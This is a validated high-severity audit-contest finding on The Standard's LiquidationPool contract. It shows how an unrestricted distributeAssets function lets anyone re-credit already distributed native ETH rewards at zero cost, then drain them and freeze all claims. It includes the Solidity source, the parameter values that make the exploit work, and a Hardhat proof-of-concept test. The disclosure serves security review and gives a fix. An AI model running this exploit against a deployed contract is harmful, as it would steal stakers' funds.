The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Native ETH rewards can be stolen from stakers and all rewards frozen

Summary

The distributeAssets function in the LiquidationPool contract can be called by anyone to distribute rewards to stakers. The function is not restricted to only be callable by the LiquidationPoolManager contract. This allows anyone to call the function with arbitrary parameters. Which allows distributing the already distributed native ETH rewards (ready to be claimed) again multiple times, without paying for them, till the malicious user can claim all funds.

Vulnerability Details

The normal flow of a liquidation is that anyone calls the runLiquidation function inside the LiquidationPoolManager contract. Which liquidates the vault and calls the distributeAssets function inside the LiquidationPool contract to distribute the liquidated collateral tokens among all stakers (they buy them for a discount).

Here we can see these functions:

function runLiquidation(uint256 _tokenId) external {
ISmartVaultManager manager = ISmartVaultManager(smartVaultManager);
manager.liquidateVault(_tokenId);
distributeFees();
ITokenManager.Token[] memory tokens = ITokenManager(manager.tokenManager()).getAcceptedTokens();
ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](tokens.length);
uint256 ethBalance;
for (uint256 i = 0; i < tokens.length; i++) {
ITokenManager.Token memory token = tokens[i];
if (token.addr == address(0)) {
ethBalance = address(this).balance;
if (ethBalance > 0) assets[i] = ILiquidationPoolManager.Asset(token, ethBalance);
} else {
IERC20 ierc20 = IERC20(token.addr);
uint256 erc20balance = ierc20.balanceOf(address(this));
if (erc20balance > 0) {
assets[i] = ILiquidationPoolManager.Asset(token, erc20balance);
ierc20.approve(pool, erc20balance);
}
}
}
LiquidationPool(pool).distributeAssets{value: ethBalance}(assets, manager.collateralRate(), manager.HUNDRED_PC());
forwardRemainingRewards(tokens);
}
function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
consolidatePendingStakes();
(,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
uint256 stakeTotal = getStakeTotal();
uint256 burnEuros;
uint256 nativePurchased;
for (uint256 j = 0; j < holders.length; j++) {
Position memory _position = positions[holders[j]];
uint256 _positionStake = stake(_position);
if (_positionStake > 0) {
for (uint256 i = 0; i < _assets.length; i++) {
ILiquidationPoolManager.Asset memory asset = _assets[i];
if (asset.amount > 0) {
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
}
}
}
positions[holders[j]] = _position;
}
if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
returnUnpurchasedNative(_assets, nativePurchased);
}

The problem is that the distributeAssets function has no access restriction. This allows anyone to call the function with arbitrary parameters.

This enables the following attack path:

  • A vault backed by native ETH collateral is liquidated and the runLiquidation function is called.

  • The native ETH is bought by all the stakers and ready to be claimed.

  • A malicious user back runs the liquidation call and calls distributeAssets to distribute the already distributed native ETH rewards again without paying for them as the collateralRate and hundredPC variables can be set to values which leads to a 0 price.

  • Therefore, every staker has a huge native ETH amount to claim now.

  • The malicious user claims all native ETH rewards and the system is left with wrong accounting values, which leads to reverts as not enough ETH is in the contract and therefore no one is able to claim any rewards.

The following POC can be implemented in the LiquidationPool test file, the token inits and the beforeEach function must be slightly modified as shown below (TokenManager must be callable). It showcases how the reward amount can be maliciously increased:

describe("LiquidationPool", async () => {
let user1,
user2,
user3,
Protocol,
LiquidationPoolManager,
LiquidationPool,
MockSmartVaultManager,
ERC20MockFactory,
TST,
EUROs,
TokenManager;
beforeEach(async () => {
[user1, user2, user3, Protocol] = await ethers.getSigners();
ERC20MockFactory = await ethers.getContractFactory("ERC20Mock");
TST = await ERC20MockFactory.deploy("The Standard Token", "TST", 18);
EUROs = await (await ethers.getContractFactory("EUROsMock")).deploy();
const EurUsd = await (
await ethers.getContractFactory("ChainlinkMock")
).deploy("EUR / USD");
await EurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
({ TokenManager } = await mockTokenManager());
MockSmartVaultManager = await (
await ethers.getContractFactory("MockSmartVaultManager")
).deploy(DEFAULT_COLLATERAL_RATE, TokenManager.address);
LiquidationPoolManager = await (
await ethers.getContractFactory("LiquidationPoolManager")
).deploy(
TST.address,
EUROs.address,
MockSmartVaultManager.address,
EurUsd.address,
Protocol.address,
POOL_FEE_PERCENTAGE
);
LiquidationPool = await ethers.getContractAt(
"LiquidationPool",
await LiquidationPoolManager.pool()
);
await EUROs.grantRole(await EUROs.BURNER_ROLE(), LiquidationPool.address);
});
describe("steal native ETH from stakers", async () => {
it("steal native ETH from stakers", async () => {
// user stakes some funds and receives some native ETH as rewards after a liquidation ready to claim
const ethCollateral = ethers.utils.parseEther("0.5");
const wbtcCollateral = BigNumber.from(1_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
await user2.sendTransaction({
to: MockSmartVaultManager.address,
value: ethCollateral,
});
await WBTC.mint(MockSmartVaultManager.address, wbtcCollateral);
await USDC.mint(MockSmartVaultManager.address, usdcCollateral);
let stakeValue = ethers.utils.parseEther("10000");
await TST.mint(user1.address, stakeValue);
await EUROs.mint(user1.address, stakeValue);
await TST.connect(user1).approve(LiquidationPool.address, stakeValue);
await EUROs.connect(user1).approve(LiquidationPool.address, stakeValue);
await LiquidationPool.connect(user1).increasePosition(
stakeValue,
stakeValue
);
await fastForward(DAY);
await LiquidationPoolManager.runLiquidation(TOKEN_ID);
expect(
await ethers.provider.getBalance(LiquidationPool.address)
).to.equal(ethCollateral);
// user can claim ETH rewards
let { _rewards } = await LiquidationPool.position(user1.address);
expect(rewardAmountForAsset(_rewards, "ETH")).to.equal(ethCollateral);
// distribute ETH rewards 4 more times without paying for it
for (let i = 0; i < 4; i++) {
const token = await TokenManager.getToken(
ethers.utils.formatBytes32String("ETH")
);
const assets = [
{
token: token,
amount: ethCollateral,
},
];
const collateralRate = 1;
const hundredPC = 0;
await LiquidationPool.connect(user1).distributeAssets(
assets,
collateralRate,
hundredPC
);
}
// reward amount is 5 times as big now
({ _rewards } = await LiquidationPool.position(user1.address));
expect(rewardAmountForAsset(_rewards, "ETH")).to.equal(
ethCollateral.mul(5)
);
});
});

If the malicious user would not adjust the parameters right to steal the funds, but still passes native ETH as asset to distributeAssets and is not able to buy all the tokens. Then the tokens would also be stolen from the stakers but sent to the protocol instead via the returnUnpurchasedNative function, where they would be distributed with the next liquidation.

Impact

A direct attack path enables a malicious user to steal all unclaimed native ETH rewards from other stakers. As side effects, a DoS of the claimRewards function occurs and therefore no one is able to claim any rewards anymore and a lot of funds are frozen in the contract.

Recommendations

The distributeAssets function should be restricted to only be callable by the LiquidationPoolManager contract.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.